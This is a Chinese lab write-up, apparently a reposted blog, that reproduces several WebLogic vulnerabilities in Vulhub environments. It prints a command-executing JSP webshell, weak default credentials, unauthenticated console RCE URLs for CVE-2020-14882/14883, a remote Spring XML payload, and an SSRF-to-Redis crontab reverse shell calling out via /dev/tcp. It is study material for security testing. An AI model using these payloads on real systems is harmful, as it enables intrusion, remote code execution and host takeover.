[Java安全]—weblogic常见漏洞

这篇具有很好参考价值的文章主要介绍了[Java安全]—weblogic常见漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

本来想跟一些T3反序列化的,奈何本地环境怎么都起不起来先复现一下常见漏洞吧。。。

Weblogic

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。

漏洞复现

Weblogic 文件读取

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

弱口令直接登录

  • weblogic
  • Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

除此外如果站内存在任意文件读取也可以通过读取秘钥文件来爆破密码

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

这套环境模拟了一个任意文件下载漏洞

http://your-ip:7001/hello/file.jsp?path=/etc/passwd

读取秘钥SerializedSystemIni.dat,复制可能会受到一些不可见字符影响,所以copy to file

[Java安全]—weblogic常见漏洞

读取密文./config/config.xml找到<node-manager-password-encrypted>的值,即为加密后的管理员密码

[Java安全]—weblogic常见漏洞

用weblogic_decrypt.jar解密也能成功解出秘钥

[Java安全]—weblogic常见漏洞

进入后台后部署webshell

test.jsp

<%
    if("Sentiment".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

生成war包

jar cvf test.war test.jsp

[Java安全]—weblogic常见漏洞

设置路径并上传war文件

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload

[Java安全]—weblogic常见漏洞

下一步设置访问shell文件的根目录路径

[Java安全]—weblogic常见漏洞

设置好后直接shell文件执行命令即可

[Java安全]—weblogic常见漏洞

Weblogic 任意文件上传(CVE-2018-2894)

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

漏洞概述

Weblogic 开启了 Web Service Test Page(web服务测试页面),这个配置默认在生产模式下是不开启的,由于管理员没注意开启了这个页面就可能造成任意文件上传。

影响版本

weblogic 10.3.6、12.1.3、12.2.4、12.2.1.3

漏洞复现

执行docker-compose logs | grep password查看密码,用户名为weblogic

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项,开启后就存在此漏洞了(漏洞存在于 http://your-ip:7001/ws_utc/config.do)

访问http://your-ip:7001/ws_utc/config.do设置 Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

点安全—>添加上传webshell

[Java安全]—weblogic常见漏洞

上传时抓包查看时间戳

[Java安全]—weblogic常见漏洞

获取时间戳之后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]执行命令

[Java安全]—weblogic常见漏洞

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

漏洞概述

cve-2020-14882(代码执行漏洞) ,在打完补丁后又出现了补丁被绕过的漏洞 cve-2020-14883(权限绕过漏洞),远程攻击者可以配合这两个漏洞构造特殊的HTTP请求,在未经身份认证的情况下接管 Weblogic Server Console,在控制台中执行任意代码。

CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883允许经过身份验证的用户在管理员控制台组件上执行任何命令。利用这两个漏洞的链,未经身份验证的远程攻击者可以通过HTTP在Oracle WebLogic服务器上执行任意命令,并完全控制主机。

影响版本

Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

漏洞复现

访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal即可未授权访问到管理后台页面

但登录之后是低权限用户,无法安装应用也无法执行代码,就要用的CVE-2020-14883来执行命令了。两种方式:

  1. 通过com.tangosol.coherence.mvel2.sh.ShellSession

    直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令

    http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
    

    这个利用方法只能在 Weblogic 12.2.1 以上版本利用,因为 10.3.6 并不存在com.tangosol.coherence.mvel2.sh.ShellSession

  2. 通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

    这是一种更为通杀的方法,最早在 CVE-2019-2725 被提出,对于所有 Weblogic 版本均有效。

    首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

此漏洞利用的缺点是,它需要 Weblogic 服务器能够访问恶意 XML。

Weblogic SSRF漏洞(CVE-2014-4210)

Oracle WebLogic UDDI Explorer Home

docker-compose up -d

漏洞描述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响版本

weblogic 10.0.2 – 10.3.6

漏洞复现

访问http://192.168.199.155:7001/uddiexplorer/无需验证即可以查看uddiexplorer应用。随便穿个参,修改operator后发现可以内网探测,当地址不存在时会返回(could not connect…)

[Java安全]—weblogic常见漏洞

用这种方式可以尝试打redis,先查看下redis的地址

docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)

[Java安全]—weblogic常见漏洞

探测该地址发现也是存在的http://172.23.0.2:6379,那就可以打redis了

# redis 定时任务反弹shell 命令
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/IP/4000 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

url编码->%0a替换成%0d%0a->最后再加上%0d%0a

http://172.23.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F4000%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

[Java安全]—weblogic常见漏洞

发包后等待定时弹shell,反弹成功

[Java安全]—weblogic常见漏洞

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Vulhub - Docker-Compose file for vulnerability environment

漏洞描述

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本

weblogic 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

漏洞复现

访问http://ip:7001/wls-wsat/CoordinatorPortType,出现该页面则证明XMLDecoder 反序列化漏洞存在

[Java安全]—weblogic常见漏洞

抓包发送数据(其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误;还需要注意一下content-type类型)

[Java安全]—weblogic常见漏洞

[Java安全]—weblogic常见漏洞

也可以利用xml写shell

[Java安全]—weblogic常见漏洞

访问http://ip:7001/bea_wls_internal/test.jsp?pwd=Sentiment&cmd=id,即可执行命令

[Java安全]—weblogic常见漏洞文章来源地址https://www.toymoban.com/news/detail-463615.html

到了这里,关于[Java安全]—weblogic常见漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • weblogic 修改控制台路径或禁用控制台,解决weblogic安全扫描访问路径漏洞问题

    在⼀些安全漏洞扫描中,经常会扫描发现,使⽤weblogic管理控制台,会有个中危的漏洞。 出于安全的考虑需要对weblogic的console进行屏避,或者修改默认的访问路径,主要有两种方法,任选一种即可:(这里针对weblogic 11g 10.3.6.0) 1、进入默认的控制台,例如“localhost/console”

    2024年02月11日
    浏览(54)
  • 中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等 1、中间件-Weblogic安全 2、中间件-JBoos安全 3、中间件-Jenkins安全 4、中间件-GlassFish安全 常见中间件的安全测试: 1、配置

    2024年02月08日
    浏览(28)
  • 常见的一些SQL注入漏洞类型

    刚接触SQL注入,写一遍笔记帮助自己回顾知识或者给其他有需要的小伙伴。可能文中有的地方讲的不对,希望可以得到大佬们的纠正,谢谢! SQL 注入是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能

    2024年02月07日
    浏览(38)
  • 一些常见的端口服务及其可能存在的漏洞

    端口号 端口服务 可能存在的漏洞 20 FTP服务的数据传输端口 21 FTP服务的连接端口 可能存在弱口令暴力破解 22 SSH服务端口 可能存在弱口令暴力破解 23 Telnet端口 可能存在弱口令暴力破解 25 SMTP简单邮件传输协议端口 43 whois服务端口 53 DNS服务端口 67/68 DHCP服务端口 69 TFTP端口 可

    2024年02月09日
    浏览(27)
  • 【教程】一些服务器常见漏洞的修复方法,亲测超详细

    目录 漏洞名称解释 Apache漏洞——卸载Apache2(可能不适用于大家) CVE-2020-15778——禁用SCP CVE-2020-15778、CVE-2016-2183、CVE-2021-41617、CVE-2014-0160、CVE-2020-12062、CVE-2021-28041、CVE-2016-6515——升级openssl和openssh 安装编译环境所需的工具 然后编译升级openssl 之后编译升级openssh CVE-2018-1905

    2024年02月08日
    浏览(37)
  • 游戏安全漏洞一些分享

    安全界对漏洞的定义为:在硬件、软件、系统等具体实现或者系统安全策略上存在的缺陷,从而使攻击者能够达到于某种破坏效果。游戏安全漏洞属于常规漏洞的子类,常规漏洞的分类如下图所示: 通过以上的漏洞分类图可知游戏漏洞属于常规软件漏洞一种分类。 以漏洞的

    2023年04月17日
    浏览(23)
  • Weblogic漏洞(三)之 Weblogic 弱口令、任意文件读取漏洞

    此次我们实验的靶场,是vnlhub中的Weblogic漏洞中的weak_password靶场,我们 cd 到weak_password,然后输入以下命令启动靶场环境: 输入以下的命令可以查看当前启动的靶场环境: 首先我们可以通过本机的IP加端口号( http://192.168.41.132:7001/console/login/LoginForm.jsp )来进行靶场访问,如

    2024年02月10日
    浏览(32)
  • ​一些常见网络安全术语​

    1、黑帽 为非法目的进行黑客攻击的人,通常是为了经济利益。他们进入安全网络以销毁,赎回,修改或窃取数据,或使网络无法用于授权用户。这个名字来源于这样一个事实:老式的黑白西部电影中的恶棍很容易被电影观众识别,因为他们穿着黑色的斯泰森,而“好人”则

    2024年02月11日
    浏览(44)
  • 使用nginx处理的一些安全漏洞

    HTTP X-Permitted-Cross-Domain-Policies 响应头缺失 Nginx的nginx.conf中location下配置: HTTP Referrer-Policy 响应头缺失 Nginx的nginx.conf中location下配置: HTTP X-Content-Type-Options 响应头缺失 Nginx的nginx.conf中location下配置: HTTP X-Download-Options 响应头缺失 Nginx的nginx.conf中location下配置: HTTP Content-Security-Po

    2023年04月08日
    浏览(26)
  • Weblogic漏洞

    预备知识 中间件定义:中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。 中间件在操作系统、网络和数据库之上,应用软件的下层,总的作用是为处于自己上层的应用软件提供运行与开发的环境,

    2023年04月08日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包